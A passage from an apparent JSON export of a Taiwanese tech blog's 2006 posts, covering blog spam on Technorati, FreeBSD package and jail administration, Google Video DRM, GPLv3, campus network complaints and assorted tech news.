    "body": "在 <a href=\"http://blog.schee.info/\" rel=\"tag\">Schee</a> 那邊的 <a href=\"http://blog.schee.info/archives/2006/01/08/2221/\">內引外流</a> 這篇文章裡看到 <a href=\"http://blog.yam.com/\" rel=\"tag\">blog.yam.com</a> 在 <a href=\"http://www.technorati.com/\" rel=\"tag\">Technorati</a> 的 <a href=\"http://www.technorati.com/pop/blogs/\" rel=\"tag\">Popular Blogs</a> 已經排到第三名的消息，而且快要超越 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a>。\r\n\r\n不過，我要用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 丟出幾個數據，比較一下 <a href=\"http://www.wretch.cc/blog/\" rel=\"tag\">無名小站 Blog</a> 與 <a href=\"http://blog.yam.com/\" rel=\"tag\">blog.yam.com</a> 受到 Spam 的情況。\r\n\r\nmsi 的部分：\r\n<ul>\r\n\t<li><a href=\"http://www.google.com/search?q=msi+site%3Ablog.yam.com\">msi site:blog.yam.com</a>：991 項。</li>\r\n\t<li><a href=\"http://www.google.com/search?q=msi+site%3Awww.wretch.cc\">msi site:www.wretch.cc</a>：213 項。</li>\r\n</ul>\r\nqstr 的部分：\r\n<ul>\r\n\t<li><a href=\"http://www.google.com/search?q=qstr+site%3Ablog.yam.com\">qstr site:blog.yam.com</a>：641 項。</li>\r\n\t<li><a href=\"http://www.google.com/search?q=qstr+site%3Awww.wretch.cc\">qstr site:www.wretch.cc</a>：29 項。</li>\r\n</ul>\r\n這些 Spammer 會到處到其他地方 (各種留言板、討論區、blah blah) 到處貼 link，於是就會有大量來自不同站台的的 Inbound Link。查詢出來的結果發現，Yam 的 Blog 比別人少，但是 Spam 比別人多。\r\n\r\n除了 Spam 以外，還有 <a href=\"http://blog.roodo.com/\" rel=\"tag\">blog.roodo.com</a> 與 <a href=\"http://blog.yam.com/\" rel=\"tag\">blog.yam.com</a> 的 Redirect 關係，以及各種串連活動 (貼貼紙活動) 造成有不同站台的 Inbound Link。(誰看過 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 整天沒事搞串連的？)\r\n\r\n比起 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a>，在「量」的方面，也許不久後會超越過去 (我指的是 <a href=\"http://www.technorati.com/pop/blogs/\" rel=\"tag\">Technorati Popular Blogs</a>)，但「質」到底怎麼樣，自己想一想會比較清楚。",
    "title": "Technorati 的 Popular Blogs 與 Spam 的關係"
  },
  {
    "id": "300",
    "body": "請不要隨便欺負阿婆 :p\r\n\r\nLink：<a href=\"http://video.google.com/videoplay?docid=2889527841583480458\" rel=\"tag\">Old Lady Pwnz Mercedes Guy</a>。",
    "title": "無意間看到的影片..."
  },
  {
    "id": "301",
    "body": "本來是放在 <a href=\"http://blog.gslin.com/\" rel=\"tag\">Gea-Suan Lin's BLOG for Work</a> 的，想了一下還是這邊也放一份好了，如果有什麼意見的話麻煩提供一下 :p\r\n\r\n以前在計中弄二三十台 FreeBSD 的時候就是用 screen + portupgrade 一次把幾十台機器升級，升級完整個重開機就好了，不用管什麼東西升級完要重跑。安裝新軟體如果需要指定 <code>WITH_BLAH=yes</code> 或是其他的東西，記得到每台上面的 <code>/usr/local/etc/pkgtools.conf</code> 改一下。(以前的 ports 還沒有 <code>OPTIONS</code> 這個功能)\r\n\r\n這個模式在我一個人管的時候很好，但是當要傳承的時候就糟糕了：要瞭解這種方法的人大概都需要玩過一陣子 FreeBSD，知道只靠系統基本的套件管理是不夠的，才會有感覺。<a href=\"http://d2.nctu.edu.tw/\">D2</a> 上面是到了 <a href=\"http://www.ronny.idv.tw/\">ronnywang </a>才接下去。現在在<a href=\"http://www.cs.nctu.edu.tw/\">交大資工</a>當系計中助教也遇到同樣的問題。\r\n\r\n一種想法是利用 package 更新 (這個在將 ccbsd*.csie.nctu.edu.tw 重灌成 FreeBSD 6 已經實行一段時間了)，但目前最大的問題在於使用 package 會：\r\n<ul>\r\n\t<li>無法善用每台機器的 CPUTYPE。</li>\r\n\t<li>某些 ports 無法產生 package，像是 screen (技術問題)、jdk (授權問題)。</li>\r\n</ul>\r\n另外，有時候會發生套件安裝好，但是無法產生 package 的慘劇。這個方法其實問題還蠻多的。\r\n\r\n我昨天又想到了另外一個作法，我不知道可不可行，不過看起來會比原來的方法好，但是重新安裝機器時的速度一定會比 package 的方法慢：\r\n<ul>\r\n\t<li>每天在 ccduty 上產生 package list (像是 <code>sysutils/screen</code> 這種字串，一行一個)，排序後塞入 svn repository。另外將 <code>/usr/local/etc/pkgtools.conf</code> 也塞進去。</li>\r\n\t<li>要安裝新機器的時候，先將 <code>/usr/local/etc/pkgtools.conf</code> 抓回來，再用 <code>cat ports-list.txt | xargs portinstall</code> 把軟體安裝進去。</li>\r\n</ul>\r\n也許 ccbsd8 可以試看看這種方式。",
    "title": "管理一堆 FreeBSD 的方法"
  },
  {
    "id": "302",
    "body": "在 <a href=\"http://nanocrew.net/\" rel=\"tag\">DVD Jon</a> (<a href=\"http://en.wikipedia.org/wiki/Jon_Lech_Johansen\" rel=\"tag\">Jon Lech Johansen</a>，因 DeCSS 事件而聲名大噪的逆向軟體工程師) 的 Blog 上看到他去 <a href=\"http://nanocrew.net/2006/01/08/deaacscom/\">註冊 DeAACS.com 的消息</a>：\r\n<blockquote>6 years ago I didn’t think of registering decss.com. Not intending to make the same mistake twice, a while ago I registered deaacs.com.</blockquote>\r\n(笑翻)",
    "title": "DeAACS.com"
  },
  {
    "id": "303",
    "body": "現在 <a href=\"http://video.google.com/\" rel=\"tag\">Google Video</a> 也可以下載了，三種下載模式 (GVP、MP4 for <a href=\"http://www.apple.com/ipod/\" rel=\"tag\">iPod Video</a>、MP4 for <a href=\"http://www.us.playstation.com/psp.aspx\" rel=\"tag\">Sony PSP</a>)，兩種 MP4 的影片都可以用 <a href=\"http://www.videolan.org/vlc/\" rel=\"tag\">VLC</a> 看，至於 GVP... 需要下載專屬的 client，我就沒去試了。\r\n\r\n另外，我發現有些檔案只提供 Windows 平台下載 (沒出現 <a href=\"http://www.apple.com/ipod/\" rel=\"tag\">iPod Video</a> 或 <a href=\"http://www.us.playstation.com/psp.aspx\" rel=\"tag\">Sony PSP</a> 下載的選項)，可能是 <a href=\"http://video.google.com/\" rel=\"tag\">Google Video</a> 還在改，也可能是影片的上傳者設定的...\r\n\r\n另外最近 <a href=\"http://video.google.com/\" rel=\"tag\">Google Video</a> 也開始提供付費影片，付費的部分是使用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 自己的 DRM，引起了不少 Do no evil 的討論：<a href=\"http://yro.slashdot.org/article.pl?sid=06/01/10/0214248\">A Look at Google DRM</a>。\r\n\r\nPS：我在四個多月前有提到關於 DRM 的文章：<a href=\"http://blog.gslin.org/archives/2005/08/23/67/\">Open Source DRM</a>、<a href=\"/archives/2005/08/25/74/\">「DRM 無效論」的說明</a>。\r\n\r\n<strong>Update</strong>：在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上面看到 <a href=\"http://digg.com/links/Google_Video_purchase_system_bypassed_with_GVD\">Google Video purchase system bypassed with GVD</a> 這篇，已經有人鑽出來了。",
    "title": "Google Video 下載與付費"
  },
  {
    "id": "304",
    "body": "先是在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.tomshardware.com/\" rel=\"tag\">Tom's Hardware</a> 把整台電腦丟進八加侖的油裡面惡搞：<a href=\"http://www.tomshardware.com/2006/01/09/strip_out_the_fans/\">Strip Out The Fans, Add 8 Gallons of Cooking Oil</a>。\r\n\r\n再來又在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上面看到有人在 Pentium-20 (降速跑) + 32MB RAM 的機器上跑 Windows XP：<a href=\"http://winhistory.de/more/386/xpmini_eng.htm\">XP Minimal-Requierement-Test</a>。\r\n\r\n新的一年才剛開始，大家都病了嗎 =_= (四月一號還沒到啊)",
    "title": "兩件 (...) 的新聞..."
  },
  {
    "id": "305",
    "body": "據說 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 在 <a href=\"http://www.macworldexpo.com/\" rel=\"tag\">Macworld</a> 上正式發表 Intel Mac 當天，股價以 $80.86 收盤... 陰謀論 XD\r\n<blockquote>21:53 &lt;@<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb_</a>&gt; <a href=\"http://techdirt.com/articles/20060110/1818234_F.shtml\">http://techdirt.com/articles/20060110/1818234_F.shtml</a>\r\n21:53 &lt;@<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb_</a>&gt; 哈哈哈哈哈\r\n21:53 &lt;@<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb_</a>&gt; 這才是引人爭議的字眼\r\n21:54 &lt;@<a href=\"http://blog.ijliao.info/\" rel=\"tag\">ij1iao</a>&gt; $80.86 !!\r\n21:54 &lt;@<a href=\"http://blog.ijliao.info/\" rel=\"tag\">ij1iao</a>&gt; 一定有人做價~</blockquote>",
    "title": "$80.86"
  },
  {
    "id": "306",
    "body": "<a href=\"http://www.kottke.org/\" rel=\"tag\">Kottke</a> 在他的 Blog 上討論了 <a href=\"http://en.wikipedia.org/wiki/Slashdot_effect\" rel=\"tag\">Slashdot Effect</a> 與 <a href=\"http://en.wikipedia.org/wiki/Digg\" rel=\"tag\">Digg</a> Effect 的差異：<a href=\"http://www.kottke.org/06/01/digg-vs-slashdot\">Digg vs. Slashdot (or, traffic vs. influence)</a>。\r\n\r\n<a href=\"http://www.kottke.org/\" rel=\"tag\">Kottke</a> 目前是全職的 Blogger，他的文章常常被 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 或 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 討論，在 1/7 的時候 <a href=\"http://www.kottke.org/plus/50-ways-ipod/\">50 Fun Things To Do With Your iPod</a> 這篇文章先上了 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a>，1/8 的時候再被 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 報導。他把兩次效應所產生的 Bandwidth Graph 比較，得到了： \r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/85820664/\"><img src=\"http://static.flickr.com/36/85820664_05e6ec481c.jpg?v=0\" alt=\"Kottke Slashdot and Digg Effect Bandwidth Graph\" /></a>\r\n\r\n另外還有張把時間拉長的圖：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/85821427/\"><img src=\"http://static.flickr.com/9/85821427_c00b91362c.jpg?v=0\" alt=\"\" /></a>\r\n\r\n在這兩張圖上面，他討論 <a href=\"http://en.wikipedia.org/wiki/Slashdot_effect\" rel=\"tag\">Slashdot Effect</a> 以及 <a href=\"http://en.wikipedia.org/wiki/Digg\" rel=\"tag\">Digg</a> Effect 是否如某些人說的「<a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 要超越 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>」？以及兩邊讀者的素養？XD\r\n\r\n很有趣的文章 :p",
    "title": "Slashdot 與 Digg 的比較？"
  },
  {
    "id": "307",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/86307279/\"><img src=\"http://static.flickr.com/41/86307279_f96ffc24d1.jpg?v=0\" alt=\"\" /></a>\r\n\r\n這是交大對外某個介面的情況，於是我被某電控學弟 (?) 點名了：\r\n\r\n<blockquote><pre>發信人: Harvard.bbs@ECEsky.twbbs.org (9112036 是大四), 看板: nctu.talk\r\n標  題: 學校網管有必要出來一下吧!!\r\n發信站: 天馬行空 (Sat Jan 14 12:57:20 2006)\r\n轉信站: abpe.org!News.Math.NCTU!news.cis.nctu!ECESKY\r\nOrigin: pc151168.cn.nctu.edu.tw\r\n\r\n有必要把學校網路搞成這樣嗎?\r\n\r\n不是每個人都在抓emule BT\r\n\r\n而且你這樣擋封包型式\r\n\r\n也只是讓p2p變慢而已\r\n\r\n並不是就不能抓\r\n\r\n重點是我現在連一般的http都非常痛苦\r\n\r\n非常慢是一個已經確定的問題\r\n\r\n但是更嚴重的是\r\n\r\n幹 就是有一些網頁完全打不開\r\n\r\n當我們同學是大頭嗎?\r\n\r\n林盃是有絞網路使用費的!!\r\n\r\n再說VPN\r\n\r\n幹 現在連VPN跟斷線沒兩樣吧!!\r\n\r\n你為什麼不要自己用用看\r\n\r\n再決定要不要繼續這樣擋!\r\n\r\n\r\n\r\n\r\nltc darkkiller\r\nltc darkkiller\r\nltc darkkiller\r\nltc darkkiller\r\nltc darkkiller\r\nltc darkkiller\r\nltc darkkiller\r\nltc darkkiller\r\nltc darkkiller\r\nltc darkkiller\r\nltc darkkiller\r\nltc darkkiller\r\n\r\n傻傻都分不清楚!!\r\n\r\n再補個 幹\r\n\r\n\r\n\r\n--\r\n◣▃▃◢   ┼交大電控──天馬行空───→\r\n   ⊙ ⊙ξ │ ECEsky.twbbs.org▉▊▋▌▍▎▏\r\n▲◆▲◆   ┼─→ 從 LikiSea.Dorm13.NCTU.edu.tw</pre></blockquote>\r\n\r\n問題是，自從校園骨幹 router 依照維護合約外包給廠商後，我現在沒有骨幹 router 的密碼啊，我只看的到 mrtg 圖，要幫忙也只能在旁邊搖旗吶喊 zzzz\r\n\r\n<strong>Update</strong>：看起來好了，nctu.talk 上面也有人出來說 okay 了：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/86364820/\"><img src=\"http://static.flickr.com/6/86364820_4d458c0ca3.jpg?v=0\" alt=\"\" /></a>",
    "title": "交大對外的問題"
  },
  {
    "id": "308",
    "body": "<a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 0.61 出版了。\r\n\r\n從 <a href=\"http://www.bitcomet.com/doc/changelog.htm\">BitComet Client Release Notes</a> 看了看這個版本的改進之處，看得出來這個版本只是要解決 DHT 資訊洩漏的 bug。(有很多 Tracker 因此直接將 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 擋掉，這件事情我記得在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上面有提過...)",
    "title": "BitComet 0.61"
  },
  {
    "id": "309",
    "body": "在台灣的 Apple 網站 <a href=\"http://www.apple.com.tw/\" rel=\"tag\">www.apple.com.tw</a> 上看到 MacBook Pro 的定價了：NTD$74900。而在美國的 <a href=\"http://www.apple.com/\" rel=\"tag\">apple.com</a> 則是 USD$1999，在日本的 <a href=\"http://www.apple.com/jp/\">apple.com/jp</a> 是 JPY$249800。\r\n\r\n以現在的匯率，USD$1 換 NTD$31.99 的計算下 (據說還要升？)，<strong>台版的 MacBook Pro 硬是比美版的 (約 NTD$63948) 貴了一萬多，而比日版 (約 NTD$69980) 貴了五千！</strong>\r\n\r\n這讓我想到台灣微軟對 <a href=\"http://www.xbox.com/\" rel=\"tag\">XBox 360</a> 定價的事情，哼哼... 可以預期的是，一定一堆人直接從美國或是日本買，再請朋友寄回台灣 :p",
    "title": "台灣的 MacBook Pro"
  },
  {
    "id": "310",
    "body": "我在 <a href=\"http://blog.gslin.org/archives/2006/01/08/299/\">Technorati 的 Popular Blogs 與 Spam 的關係</a> 有提過 <a href=\"http://blog.yam.com/\">blog.yam.com</a> 在 <a href=\"http://www.technorati.com/\" rel=\"tag\">Technorati</a> 的 <a href=\"http://www.technorati.com/pop/blogs/\">Popular Blogs</a> 排名第三的事情。\r\n\r\n今天再去看的時候，發現 <a href=\"http://blog.yam.com/\">blog.yam.com</a> 已經不在上面了，<a href=\"http://www.wretch.cc/\" rel=\"tag\">無名小站</a> 還是在 6x 名左右。\r\n\r\nSo...",
    "title": "Technorati 的 Popular Blogs"
  },
  {
    "id": "311",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://slashdot.org/article.pl?sid=06/01/15/1513216\">Wikipedia Plagiarism Ends Journalist's Career</a> 這篇文章。\r\n\r\n某位寫了 21 年的專欄作家在專欄上抄襲 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的內容，然後某位 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的 Editor 揭露了這件事情 (<a href=\"http://en.wikipedia.org/wiki/User:TenOfAllTrades/Aloha_Dupe\">User:TenOfAllTrades/Aloha Dupe</a>)，而被另外一家報紙報導出來 (<a href=\"http://www.hawaiireporter.com/story.aspx?750c1b2b-cd3e-4ce3-b244-1e2f3fc08678\">Honolulu Veteran Columnist Under Fire Nationally for Allegedly Plagiarizing Reports</a>)，於是這位專欄作家就被開除了。\r\n\r\n相同的事情如果發生在台灣？你想太多了 -_- 大概連個道歉都不會有...",
    "title": "從 Wikipedia 抄襲的專欄作家被開除"
  },
  {
    "id": "312",
    "body": "這幾天又再弄 jail，遇到一些瑣事，想到就順便記下來。像是 jail 弄好之後發現沒有帳號可以登入，在 jail host 上：\r\n<blockquote><code>cd /jail_path/etc\r\nvim master.passwd\r\npwd_mkdb -d . master.passwd</code></blockquote>\r\n其實也可以這樣：\r\n<blockquote><code>vipw -d /jail_path/etc</code></blockquote>\r\n不知道現在的書還會不會教這些...",
    "title": "FreeBSD jail 下的瑣事"
  },
  {
    "id": "313",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到立法院砍了 1/4 的預算的事情：<a href=\"http://slashdot.org/article.pl?sid=06/01/16/1228250\">Taiwanese Parliament votes Against Microsoft</a> (引用的報導：<a href=\"http://www.techworld.com/opsys/news/index.cfm?NewsID=5162\">Taiwanese parliament votes against Microsoft</a>)\r\n\r\n然後在 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 那邊看到：<a href=\"http://blog.ijliao.info/archives/2006/01/16/2028/\">立法院砍政府購買 MS 產品的預算</a>，呃...\r\n\r\n<a href=\"http://news.google.com.tw/\" rel=\"tag\">Google News</a> 找到兩篇新聞：<a href=\"http://www.ctitv.com.tw/new/news/news02.html?id=1&cno=2&sno=241232\">《財政》95年度行政機關採購微軟產品預算將刪減25％</a> (<a href=\"http://www.ctitv.com.tw/\" rel=\"tag\">中天電視網</a>)、<a href=\"http://news.chinatimes.com/Chinatimes/newslist/newslist-content/0,3546,120501+122006011400419,00.html\">立院打微軟 殺價七五折</a> (<a href=\"http://news.chinatimes.com/\" rel=\"tag\">中時電子報</a>)。",
    "title": "微軟軟體的預算"
  },
  {
    "id": "314",
    "body": "Open Source 界的大事，GPLv3 Draft 出爐：<a href=\"http://gplv3.fsf.org/\">Welcome to GPLv3</a>\r\n<ul>\r\n\t<li><a href=\"http://yro.slashdot.org/article.pl?sid=06/01/16/2036239\">First Draft of GPL Version 3 Released</a> (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>)</li>\r\n\t<li><a href=\"http://digg.com/programming/First_GPL_3_draft_released\">First GPL 3 draft released</a> (Digg)</li>\r\n</ul>\r\nGPLv3 Draft 不知道能不能通過 Open Source Initiative 的認證 (希望不能 XD)：\r\n<blockquote>6. No Discrimination Against Fields of Endeavor\r\n\r\nThe license must not restrict anyone from making use of the program in a specific field of endeavor. For example, it may not restrict the program from being used in a business, or from being used for genetic research.</blockquote>\r\n\r\n<strong>Update</strong>：<a href=\"http://en.wikipedia.org/wiki/Tim_Bray\" rel=\"tag\">Tim Bray</a> 放了一個比較好讀的版本：<a href=\"http://www.tbray.org/gpl/gpl3-draft.html\" rel=\"tag\">GPLv3 Draft &mdash; GPLv3</a>。\r\n\r\n<strong>Update</strong>：<a href=\"http://taiwan.cnet.com/news/software/0,2000064574,20104006,00.htm\">新開原碼授權瞄準DRM、好萊塢</a> (<a href=\"http://taiwan.cnet.com/\" rel=\"tag\">Taiwan.CNET.com</a>)、<a href=\"http://taiwan.cnet.com/news/software/0,2000064574,20103903,00.htm\">GPL 3草案公共辯論開始</a> (<a href=\"http://taiwan.cnet.com/\" rel=\"tag\">Taiwan.CNET.com</a>)。",
    "title": "GPLv3 Draft"
  },
  {
    "id": "315",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到 <a href=\"http://www.georgetakei.com/\" rel=\"tag\">George Takei</a> 接受了邀請，將在 fans 所製作的 <a href=\"http://www.startreknewvoyages.com/\" rel=\"tag\">Star Trek: New Voyages</a> 擔任 Hikaru Sulu 的角色：<a href=\"http://slashdot.org/article.pl?sid=06/01/20/0617246\">George Takei To Play Star Trek's Sulu Again</a>：\r\n<blockquote>Dear James,\r\nLife is so full of unexpected new challenges. Your invitation for me to re-engage with the character of Hikaru Sulu after more than a decade is very exciting. To have Marc Zicree write and direct the project makes the invitation that much more thrilling. Walter Koenig has told me about his experiences with his New Voyages participation and how personally fulfilling it was for him. Thank you for creating this totally unanticipated opportunity for us as artists and for the fans whose love and devotion to 'Star Trek' has made this journey truly a phenomenal continuation of a great adventure. Together, we will 'boldly go' where we have never taken 'Star Trek' before.\"\r\n\r\nGeorge Takei</blockquote>",
    "title": "Star Trek: New Voyages"
  },
  {
    "id": "316",
    "body": "在 <a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscoped</a> 看到的技巧，利用新的一年，搜尋 \"Copyright 2006\" 這個詞，觀察各家搜尋引擎的更新速度有多快 (的確是個好方法 :p)：<a href=\"http://blog.outer-court.com/archive/2006-01-21-n72.html\">How Quickly Do Different Search Engines Mirror the Web?</a>。\r\n\r\n以目前的搜尋頁面數量來說，<a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 最高，<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 次之。不過作者有提到關於 Link Spam 的事情：\r\n<blockquote>Note the results shown here are not necessarily connected to search results quality; e.g. a search engine may decide that certain content (like a spam farm copying other sites) is not interesting enough to searchers to be picked up often.</blockquote>\r\n另外要注意各家 Search Engine 對 Page Count 的算法並不一樣，所以這個數字僅供參考 :p",
    "title": "搜尋引擎的更新速度"
  },
  {
    "id": "317",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到的，UCLA 的畢業校友要把有異常行為的教授給抓出來：<a href=\"http://yro.slashdot.org/article.pl?sid=06/01/21/1948206\">UCLA Students Urged to Expose 'Radical' Professors</a>。\r\n\r\n我突然想到某些教授...\r\n\r\n<strong>Update</strong>：改標題。我指的是在交大修課時，某些教授在課堂上企圖改變學生的政治立場的事情。",
    "title": "教授的政治立場"
  },
  {
    "id": "318",
    "body": "在 #bsdchat 看到的消息...\r\n\r\n以往在 <code>pkg-plist</code> 裡砍掉一個不確定是否是空的目錄是這樣寫：\r\n<blockquote><code>@unexec rmdir %D/... 2&gt;/dev/null || true</code></blockquote>\r\n現在可以改成這樣了：\r\n<blockquote><code>@dirrmtry ...</code></blockquote>\r\n剛剛看了看 <a href=\"http://www.freebsd.org/doc/en_US.ISO8859-1/books/porters-handbook/\">FreeBSD Porter's Handbook</a>，還沒更新？",
    "title": "FreeBSD Ports System 的 pkg-plist 改進"
  },
  {
    "id": "320",
    "body": "在 <a href=\"http://www.gg.caltech.edu/~jeff/knr.cgi\">www.gg.caltech.edu/~jeff/knr.cgi</a> 可以幫你算。\r\n\r\n6-4：\r\n<code>K&R (AQTxxx Kxxx xx x) = 13.65\r\nK&amp;R (AQ9xxx Kxxx xx x) = 13.10\r\nK&amp;R (AQxxxx KTxx xx x) = 13.00\r\nK&amp;R (AQxxxx Kxxx xx x) = 12.80\r\nK&amp;R (AJTxxx Kxxx xx x) = 12.30\r\nK&amp;R (ATxxxx Axxx xx x) = 12.30\r\nK&amp;R (Axxxxx ATxx xx x) = 12.20\r\nK&amp;R (Axxxxx Axxx xx x) = 12.00</code>\r\n\r\n5-5：\r\n<code>K&amp;R (AJxxx Axxxx xx x) = 12.75\r\nK&amp;R (ATxxx Axxxx xx x) = 12.25\r\nK&amp;R (AJTxx Kxxxx xx x) = 12.00\r\nK&amp;R (Axxxx Axxxx xx x) = 12.00</code>\r\n\r\n5-4：\r\n<code>K&amp;R (ATxxx AJTx xx xx) = 12.15\r\nK&amp;R (AJTxx Axxx xx xx) = 12.10\r\nK&amp;R (AJTxx KJTx xx xx) = 12.00\r\nK&amp;R (AJxxx AJxx xx xx) = 12.00</code>\r\n\r\n所以這些牌都應該正常開叫...",
    "title": "牌型的強度"
  },
  {
    "id": "321",
    "body": "在 <a href=\"http://blog.xuite.net/frogbsd/\" rel=\"tag\">zmx</a> 那邊看到 <a href=\"http://www.emule-project.net/\" rel=\"tag\">eMule</a> 不打算加入 Encrypted Connection 的功能：<a href=\"http://blog.xuite.net/frogbsd/geek/4877719\">emule 發展者對加密傳輸的政策</a>。\r\n\r\n在 eMule 的 forum 上，<a href=\"http://forum.emule-project.net/index.php?showtopic=71770\">Frequently Asked Features, read this before posting a new Request</a> 這篇文章裡：\r\n<blockquote>Features you won't see in eMule:\r\nEncrypted transfer - This only wastes resources and offers you no advantage. It doesn't offer you more privacy as the receiver of the data always has to decrypt it and the receiver could be any untrusted person. Encryption would only help against a Man-In-The-Middle attack which never happens for P2P-Networks as there are easier ways (see the sentence above).</blockquote>\r\n不過似乎沒抓到重點，Encrypted Connection 的目的只是要閃開 P2P Filtering 的設備...",
    "title": "eMule 的 Encrypted Connection"
  },
  {
    "id": "322",
    "body": "從 <a href=\"http://www.apple.com/imac/\" rel=\"tag\">iMac Core Duo</a> 亮相二十天後，CPU 的部分就已經找到 34 個問題：<a href=\"http://apple.slashdot.org/article.pl?sid=06/01/24/1537231\">34 Design Flaws in 20 Days of Intel Core Duo</a>。\r\n\r\n有些問題可以在軟體層 (在作業系統或是應用程式裡處理) 避開，有些問題只是會影響到效率 (像是該 cache 的部份沒有做)，有些則是 debug 的時候會產生異常情況 (平常跑的時候不會)，不過仍然有不少問題可能會導致莫名其妙當機 XD\r\n\r\n呃，比較糟糕的是 <a href=\"http://www.intel.com/\" rel=\"tag\">Intel</a> 似乎沒打算修... (反正當了就重開？)",
    "title": "Intel Core Duo"
  },
  {
    "id": "323",
    "body": "<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> Cache 因為 cache 某個網站被告，判決已經公佈了，<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> Cache 認定為合理使用：\r\n<ul>\r\n\t<li><a href=\"http://www.eff.org/deeplinks/archives/004344.php\">Google Cache Ruled Fair Use</a></li>\r\n\t<li><a href=\"http://blog.outer-court.com/archive/2006-01-26.html#n13\">Google Cache Fair Use</a></li>\r\n</ul>",
    "title": "Google Cache"
  },
  {
    "id": "324",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上看到有趣的新聞：<a href=\"http://digg.com/technology/Is_the_flying_car_in_Google_Earth_real_\">Is the flying car in Google Earth real?</a>\r\n\r\n<a href=\"http://www.flickr.com/photos/soundofadog/90923488/\"><img src=\"http://static.flickr.com/29/90923488_69020793e3.jpg?v=0\"/></a>\r\n\r\n於是有人跑到現場去看，然後提供給 <a href=\"http://www.theregister.com/\" rel=\"tag\">The Register</a>：<a href=\"http://www.theregister.com/2006/01/25/flying_car_launch_site/\">Oz flying car launch site: exclusive pictures</a>。",
    "title": "Google Earth 上的「飛車」"
  },
  {
    "id": "325",
    "body": "這陣子在國外吵吵吵，到處都看的到的新聞... 在 <a href=\"http://apple.sysbio.info/~mjhsieh/\" rel=\"tag\">Mengjuei</a> 那邊看到：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/91719308/\"><img src=\"http://static.flickr.com/18/91719308_65700f8841.jpg?v=0\" alt=\"\" /></a>\r\n\r\nPS：Original from <a href=\"http://www.geekculture.com/joyoftech/joyarchives/780.html\">www.geekculture.com/joyoftech/joyarchives/780.html</a>",
    "title": "Google.cn"
  },
  {
    "id": "326",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到有人仿製 <a href=\"http://www.startrek.com/\" rel=\"tag\">Star Trek</a> 裡面 Enterprise 的艦橋 (家庭電影院？XD)：<a href=\"http://digg.com/links/Home_theater_system_modelled_after_the_StarTrek_enterprise_bridge\">Home theater system modelled after the StarTrek enterprise bridge</a>。\r\n\r\n產品以及圖片都來自 <a href=\"http://www.reighn.com/theatermain.html\">Where No Home Theater Has Gone Before...</a> 這裡。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/91802411/\"><img src=\"http://static.flickr.com/26/91802411_da498e178b.jpg?v=0\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/91802668/\"><img src=\"http://static.flickr.com/39/91802668_25843e89ee.jpg?v=0\" alt=\"\" /></a>",
    "title": "Enterprise 的艦橋"
  },
  {
    "id": "327",
    "body": "在 <a href=\"http://www.gizmodo.com/\" rel=\"tag\">Gizmodo</a> 看到的笑話：<a href=\"http://us.gizmodo.com/gadgets/gadgets/how-many-gizmodo-writers-does-it-take-to-change-a-light-bulb-151021.php\">How Many Gizmodo Writers Does It Take to Change a Light Bulb?</a>。\r\n\r\n我看到之後第一個想到的是 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 FAQ：<a href=\"http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/funnies.html#CHANGING-LIGHTBULBS\">How many FreeBSD hackers does it take to change a lightbulb?</a> (有中文版的翻譯，即 <a href=\"http://www.freebsd.org/zh/FAQ/funnies.html#CHANGING-LIGHTBULBS\">要幾個 FreeBSD hacker 才能換掉一個電燈泡？</a>)\r\n\r\n不過 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的比較有趣 :p (尤其是更熟悉 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的權力運作後再來看這個笑話)",
    "title": "Lightbulb"
  },
  {
    "id": "328",
